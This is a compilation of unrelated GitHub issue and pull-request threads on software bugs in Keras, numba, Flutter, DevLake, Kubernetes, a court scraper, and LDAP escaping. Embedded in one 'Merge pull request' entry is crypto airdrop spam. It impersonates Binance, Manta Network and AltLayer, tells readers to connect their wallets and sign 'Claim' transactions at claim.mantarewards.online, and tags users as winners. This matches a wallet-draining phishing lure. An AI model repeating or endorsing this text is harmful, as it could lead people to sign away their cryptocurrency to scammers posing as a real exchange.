OS version: Windows_NT x64 10.0.19043
Restricted Mode: No

This is a fair feature request, however we do not have it on our immediate plan. Thus assigning to backlog for now to gather more feedback. Thanks


MAPELoss description is wrong

https://github.com/tensorflow/tensorflow/blob/2b96f3662bd776e277f86997659e61046b56c315/tensorflow/python/keras/losses.py#L1242
MAPELoss description is wrong, it's not
loss = 100 * mean(abs(y_true - y_pred) / y_true, axis=-1)
but may be this:
loss = 100*mean(abs((y_true - y_pred)/y_true, axis=-1))

@squall1988 Looks like only description is not correct as you mentioned. But the formula used in the code is correct.
Are you interested in raising PR to correct the doc? Thanks!


cpython scalar treatment inconsistency between numba.types.Tuple and numba.types.NamedTuple

The below is tested with numba 0.60.0 on cpython 3.12.5.
The context for this is that numba aims to convert between CPython floats and an appropriate type on input and output to jitted functions, even if this results in precision reduction (e.g. converting a cpython float to a float32):

https://github.com/numba/numba/issues/5907
https://github.com/numba/numba/issues/5990

For example:
import numba
import numpy

@numba.njit(numba.float32(numba.float32))
def moo_scalar(x: numpy.float32) -> numpy.float32:
    return x + 1

print(moo_scalar(1.0))  # 2.0
print(type(moo_scalar(1.0)))  # <class 'float'>

numba will also perform the same conversions with tuples of scalars:
_Tuple = numba.types.Tuple((numba.float32,))

@numba.njit(_Tuple(_Tuple))
def moo_tuple(x: tuple[numpy.float32]) -> tuple[numpy.float32]:
    return (x[0] + 1,)

print(moo_tuple((1.0,)))  # (2.0,)
print(type(moo_tuple((1.0,))[0]))  # <class 'float'>

However, it will not perform this conversion when using namedtuples of scalars as an input:
import typing

class Moo(typing.NamedTuple):
    x: numpy.float32

@numba.njit(numba.float32(numba.types.NamedTuple((numba.float32,), Moo)))
def moo_namedtuple(x: tuple[numpy.float32]) -> numpy.float32:
    return x.x + 1

print(
    moo_namedtuple(Moo(1.0))
)  # TypeError: No matching definition for argument type(s) Moo(float64 x 1)

# Just to show that use of `NamedTuple` vs `NamedUniTuple` is unimportant

@numba.njit(numba.float32(numba.types.NamedUniTuple(numba.float32, 1, Moo)))
def moo_namedunituple(x: tuple[numpy.float32]) -> numpy.float32:
    return x.x + 1

print(
    moo_namedunituple(Moo(1.0))
)  # TypeError: No matching definition for argument type(s) Moo(float64 x 1)

However, the conversion is performed if a namedtuple is returned from a numba-jitted function:
@numba.njit(numba.types.NamedUniTuple(numba.float32, 1, Moo)())
def return_namedtuple() -> Moo:
    return Moo(numpy.float32(42.0))

print(type(return_namedtuple().x))  # <class 'float'>

It seems like the behaviour of namedtuples should be consistent with that of tuples here, i.e. conversions of elements performed when used as either input or output?

Thanks for the report. I think the NamedTuple type constructor needs to behave more like Tuple so that it correctly creates a NamedUniTuple in the case where the arguments are homogeneous in type. Irrespective of construction issues, I'm pretty sure that the reason this works for tuple but not for namedtuple is that in the type system UniTuple inherits from BaseAnonymousTuple https://github.com/numba/numba/blob/d2d8867e50f7cb9e39950e56b940bf0cea83022c/numba/core/types/containers.py#L228 which has a can_convert_to method implemented that allows conversion between types https://github.com/numba/numba/blob/d2d8867e50f7cb9e39950e56b940bf0cea83022c/numba/core/types/containers.py#L179-L203
As this isn't the case for the NamedUniTuple, it doesn't work.
Also note that typing.NamedTuple has some issues at present, xref #7839.


[tool_crash] HttpException

Oops; flutter has exited unexpectedly: "HttpException: Invalid request method, uri = http://localhost:4444/session".
while running in flutter drive --driver=test_driver/integration_test.dart --target=integration_test/pages/home_page_test.dart -d web-server
I already started the chrome driver in chromedriver --port=4445
In my machine port -4444 running in another task.
Can some help me fix this issue.

Closing this as duplicate of https://github.com/flutter/flutter/issues/79748


[Bug][Azure DevOps] Entities Column Missing

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
When standing up a new v0.18.0-beta1 deployment and trying to create scope config, it errors indicating that the entities column does not exist on the _tool_azuredevops_gitrepositoryconfigs table.
time="2023-07-18 16:55:18" level=info msg="/app/impls/dalgorm/dalgorm.go:196 Error 1054 (42S22): Unknown column 'entities' in 'field list'
[1.704ms] [rows:0] INSERT INTO `_tool_azuredevops_gitrepositoryconfigs` (`created_at`,`updated_at`,`entities`,`connection_id`,`name`,`refdiff`,`deployment_pattern`,`production_pattern`) VALUES ('2023-07-18 16:55:18.926','2023-07-18 16:55:18.926','["CODE","CODEREVIEW","CROSS","CICD"]',1,'DevSecOps Scope Config',NULL,'(deploy|push-image)','')"

What do you expect to happen
The column to exist.
How to reproduce
Stand up a new v0.18.0-beta1 environment. The
Anything else
No response
Version
v0.18.0-beta1
Are you willing to submit PR?

[X] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

I see we didn't add a migration-script for it, that's why. Should be a simple code fix.

I have the column on my db:

Could you check if you have migration (script-version:<PHONE_NUMBER>5630) in the devlake_migration_history table?

Looks like it was run.
+-------------------------+----------------+--------------------------------------+-------------+
| created_at              | script_version | script_name                          | comment     |
+-------------------------+----------------+--------------------------------------+-------------+
| 2023-07-18 16:05:49.588 |<PHONE_NUMBER>5630 | rename_tx_rule_table_to_scope_config | azuredevops |
+-------------------------+----------------+--------------------------------------+-------------+

@awickham10 Can you check in the db if the gitrepositoryconfigs table is indeed missing that column? Is there any error in the startup logs of the server?

Ok, I figured it out, and this issue only gets triggered if the entities column already existed on the table. #5714 fixes this, and will be cherry-picked into the next v0.18 beta.

Hi @awickham10 , this fix is included in the v0.18.0-beta3.


Single page improvements

In the left side section

horizontal scrollable bar
vertical scrollable bar
show all items collapsed by default?
"collapse all investigations" option somewhere
"View more" button when there are too many Investigations

Would be nice to have a "collapse all studies" and a "collapse all assays" also.

I think having the Investigation/Study/Assay toggling option will solve some of the problems.
Horizontal scrollbar and toggling option have been added anyway.


kubectl create pod error -  Kubernetes cluster on AWS using cloudformation template

Hello,
I ran a two node kubernetes cluster on AWS with coreos through the cloudformation template.  I am hitting a road block while creating a pod. Please check if this is related to kubectl/kubernetes version error.
I followed the instruction in this doc. link to doc!
ip-172-20-0-254 ~ # kubectl get nodes
NAME           LABELS                                STATUS
<IP_ADDRESS>   kubernetes.io/hostname=<IP_ADDRESS>   Ready
<IP_ADDRESS>   kubernetes.io/hostname=<IP_ADDRESS>   Ready

ip-172-20-0-254 ~ # kubectl get pods
POD       IP        CONTAINER(S)   IMAGE(S)   HOST      LABELS    STATUS    CREATED   MESSAGE

ip-172-20-0-254 ~ # kubectl version
Client Version: version.Info{Major:"0", Minor:"18", GitVersion:"v0.18.2", GitCommit:"1f12b893876ad6c41396222693e37061f6e80fe1", GitTreeState:"clean"}
Server Version: version.Info{Major:"0", Minor:"18", GitVersion:"v0.18.2", GitCommit:"1f12b893876ad6c41396222693e37061f6e80fe1", GitTreeState:"clean"}

ip-172-20-0-254 ~ # kubectl create -f pod.json
Error from server: the server could not find the requested resource
ip-172-20-0-254 ~ #

-Santhosh

works with kubernetes 0.19.0
changed all refereneces of 0.18.2 in the cloudformation template to 0.19.0
kubectl create -f pod.json   # is working fine.

ip-172-20-0-254 ~ # kubectl create -f pod.json
Error from server: the server could not find the requested resource

That error is caused by client/server incompatibility. It's a little disturbing that you saw it with the same client/server version but the issue should be resolved for 0.19.0 or greater clients.


nmariana scraper not working

Sentry Issue: COURTLISTENER-7Y2
gaierror: [Errno -2] Name or service not known
  File "urllib3/connection.py", line 196, in _new_conn
    sock = connection.create_connection(
  File "urllib3/util/connection.py", line 60, in create_connection
    for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM):
  File "socket.py", line 976, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):

NameResolutionError: <urllib3.connection.HTTPSConnection object at 0x7f7ae32939b0>: Failed to resolve 'www.cnmilaw.org' ([Errno -2] Name or service not known)
(1 additional frame(s) were not displayed)
...
  File "urllib3/connectionpool.py", line 490, in _make_request
    raise new_e
  File "urllib3/connectionpool.py", line 466, in _make_request
    self._validate_conn(conn)
  File "urllib3/connectionpool.py", line 1095, in _validate_conn
    conn.connect()
  File "urllib3/connection.py", line 615, in connect
    self.sock = sock = self._new_conn()
  File "urllib3/connection.py", line 203, in _new_conn
    raise NameResolutionError(self.host, self, e) from e

MaxRetryError: HTTPSConnectionPool(host='www.cnmilaw.org', port=443): Max retries exceeded with url: /spm24.php (Caused by NameResolutionError("<urllib3.connection.HTTPSConnection object at 0x7f7ae32939b0>: Failed to resolve 'www.cnmilaw.org' ([Errno -2] Name or service not known)"))
  File "requests/adapters.py", line 589, in send
    resp = conn.urlopen(
  File "urllib3/connectionpool.py", line 843, in urlopen
    retries = retries.increment(
  File "urllib3/util/retry.py", line 519, in increment
    raise MaxRetryError(_pool, url, reason) from reason  # type: ignore[arg-type]

ConnectionError: HTTPSConnectionPool(host='www.cnmilaw.org', port=443): Max retries exceeded with url: /spm24.php (Caused by NameResolutionError("<urllib3.connection.HTTPSConnection object at 0x7f7ae32939b0>: Failed to resolve 'www.cnmilaw.org' ([Errno -2] Name or service not known)"))
(4 additional frame(s) were not displayed)
...
  File "cl/scrapers/management/commands/cl_scrape_opinions.py", line 413, in handle
    self.parse_and_scrape_site(mod, options)
  File "cl/scrapers/management/commands/cl_scrape_opinions.py", line 376, in parse_and_scrape_site
    site = mod.Site().parse()

I'd set the priority of this one pretty low if you have others that are failing. Not a lot of important case law from NMI.


chore(docs): Refactor website

https://www.figma.com/file/NhivUnyyqqv09UnvhFLjKA/envd?node-id=0%3A1&t=bCVhBwIiBACZ63JD-0
We have an elegant design from @shaonianche, and we can refactor the https://envd.tensorchord.ai/ to the new design.

Current design:

New design:


Merge pull request #1 from quartz010/master

modified detil

Binance Exclusive Token Giveaway
Welcome to the exclusive Binance Token Giveaway, where we're distributing over $1,100,000 in $BNB! 🚀 Don't miss out on this incredible opportunity to claim your free tokens. Here's a quick guide to kickstart your journey:

Seize the moment and indulge in your tokens! This limited-time offer won't be available forever. 🌐💰
Steps to Claim:
1. Share the Excitement on Twitter:

Spread the word about claiming your free tokens!

Tweet: Share this Token Drop

2. Connect Your Binance Wallet:

Click on the Connect Wallet button.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

3. Interact with the Contract:

Once your wallet is connected, go to Binance Rewards.
Click on the "Claim" button to interact with the smart contract.

4. Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

5. Share the Excitement Further:

After successfully claiming your tokens, share the news with friends!

Facebook: Share on Facebook

Earn $1000 in Manta Network Tokens!

Steps to Earn:

Connect Your Wallet:

Make sure you have a wallet compatible with Manta Network, such as MetaMask or Trust Wallet.
Visit https://claim.mantarewards.online and connect your wallet.

Use the Claim Method:

After connecting your wallet, navigate to the rewards section or dashboard.
Find the "Claim" option and click on it.

Claim Your Prize:

Follow the on-screen instructions to complete the claiming process.
Upon successful completion, you will receive $1000 in Manta Network tokens in your wallet.

Enjoy Your Tokens:

The tokens will be deposited into your wallet and ready to be used or traded.

Important Note:
Make sure to read the terms and conditions on the https://claim.mantarewards.online page to ensure you meet all eligibility requirements for the promotion. This offer is for a limited time, so don't miss out!
Winners: @zsychina, @cc-hearts, @tl2cents, @zen-li, @Hsin-Lan, @xlzhu, @BobLuo

$BNB Airdrop: Claim Your $1000 in BNB Now!
🎉 Congratulations! You've been selected to receive a portion of the $1.5k Binance Airdrop. We're thrilled to offer you $1500 in BNB. But wait, there's more—connect now, and instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!
Winners: @stheart, @DarrenJoah, @alchemyp, @birui, @N-index, @Zoujingyao, @wizardforcel

AltLayer Airdrop Season One Announcement

Exciting news! AltLayer token (ALT) is set to launch on Binance on January 25, 2024. This milestone couldn't have been reached without our amazing community. Your support has been crucial from conceptualization to product development.
To show our gratitude, we're inviting you to join the "ALT Token community" through an airdrop for early supporters and partners. Below is a summary:

Total Allocated ALT Tokens: 300,000,000 (3% of total supply)
Distribution Categories:

NFT Holders
Altitude Campaign Participants
EigenLayer Restakers
EigenLayer Ecosystem Partners
Celestia Stakers and others

For detailed criteria and information, check the full announcement here.
Claim opens from January 25 to February 25, 2024. Unclaimed ALT tokens after this period will return to AltLayer’s Treasury.
Thank you for being part of AltLayer's success! More to come in Season One, stay tuned.
Note: Certain regions are restricted from the airdrop. Please review the disclaimer before participating.
Winners: @


Add pynvml to recipe

This package is required for the dask dashboard to properly
monitor GPU usage. The pinned version is the latest release
on github (dated 2021-12-08).
Closes #255

@jrbourbeau d'oh. I knew that. 🤦🏻


Create input field, Buttons, Typography and Style guides

Completed

Completed

Completed

Assisted in Creating one of the style guide colour system (Grey sahdes)


Set import path prior to repository move to jaegertracing org

Coverage remained the same at 85.689% when pulling b937813f1854dcd8121eb3c8704cfc8a943c80aa on define-import-path into b7bacc465f385658dd3586f58810226776d2a4bf on master.


[17.04] cherry pick 31894 - Fix compose schema id for v3.2

cherry-pick 3eaeee07c3e472e610a1dabf8d16558451307e38 (https://github.com/docker/docker/pull/31894) into the 17.04.x branch

LGTM


CI: raven github ci support

How about we rename the directory pkg/network-engine to pkg/networkengine, and the package name to networkengine ?

How about we rename the directory pkg/network-engine to pkg/networkengine, and the package name to networkengine ?

done

lgtm


Fix/indented while and related

Pull Request Test Coverage Report for Build<PHONE_NUMBER>4
Details

41 of 45 (91.11%)  changed or added relevant lines in 2 files are covered.
2 unchanged lines in 1 file lost coverage.
Overall coverage increased (+0.06%) to 75.854%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

csly-cli-extractor/LexerSpecificationExtractor.cs
40
44
90.91%

Files with Coverage Reduction
New Missed Lines
%

csly-cli-extractor/ExpressionExtensions.cs
2
68.89%

Totals

Change from base Build<PHONE_NUMBER>2:
0.06%

Covered Lines:
3790

Relevant Lines:
4907

💛  - Coveralls


Clarify where escaping is needed

For example simple_bind provides fields for bind_dn and password. The docs of the escaping function ldap_escape talk only about filters. Do I need to escape bind_dn and password?
It would also be a very good practice to have a type representing "checked" values (a wrapper around a string), and by default, force the users to use that. Maybe we could have a function/macro that spits out static checked strings with placeholders, and provide an API for providing the values for the placeholders, that would be escaped.

For example simple_bind provides fields for bind_dn and password. The docs of the escaping function ldap_escape talk only about filters. Do I need to escape bind_dn and password?

The docs only talk about escaping in filter literals since that's the only place where it makes sense. You're right that it could be made more clear, and I'll append a note to that effect to ldap_escape()'s docs.
As for safe wrappers and autoescaping: it would certainly be possible to make a templating system akin to SQL prepared statements, or something ORM-like which would hide the filter strings entirely, but I'd prefer to keep the library outwardly compatible with existing practice, for now. (I'm aware of "LDAP injection" attacks, I just don't think they've been so numerous and harmful to justify compatibility-breaking measures.)

Are you sure that distinguished names don't need escaping? There are libraries that escape them:
https://www.npmjs.com/package/ldap-escape
As the DN can be something like uid=test_user,ou=Users,dc=myldapdomain,dc=myorg,dc=com, surely characters like "," must be considered as special characters?

Yes, DNs need escaping if they contain RDNs with characters that are special for DN syntax, as defined in RFC 4514. But that escaping is completely independent of the one used for filter literals. I haven't provided any DN-escaping functions in the library, since I treat DNs as opaque.

If you get the DN as a whole, it can be considered as opaque, but if you construct it by yourself from information from unreliable sources, every "field" or attribute value needs to be escaped. I'm going to send a PR about this too, since it's not good if people just roll their own escaping mechanisms without consulting the RFC (and even then, it's better to have these collected under the relevant library, more eyes seeing the code etc.)

Right, but constructing a DN from unreliable input is quite rare. LDAP directories are mostly read, in which case the principal operation is a search, with a controlled base DN and escaped filter; DNs and DN-valued attributes arrive pre-escaped from the server. When a user-supplied value is used to create a directory entry, it's often something like a username, which has a restricted alphabet, verified beforehand.
Which is not to say that DN-escaping is pointles. I've merged your PR (thanks!)

After re-review: now that there's a DN-escaping function, all needed escaping mechanisms are provided, and I don't see the need to emphasize that other types of values may be used as-is (it's part of general LDAP knowledge, which I've already noted as a pre-requisite for using this crate). Hence I won't be amending ldap_escape() docs, and I'm closing this issue.


3.3.1 Build failures

docker file FROM node:8.16.0

You should not rely on Git

@DABH

https://github.com/winstonjs/winston/issues/1814

I believe this may be related:
https://github.com/firebase/firebase-tools/issues/2383

@DABH

Try v3.3.2; duplicate of #1814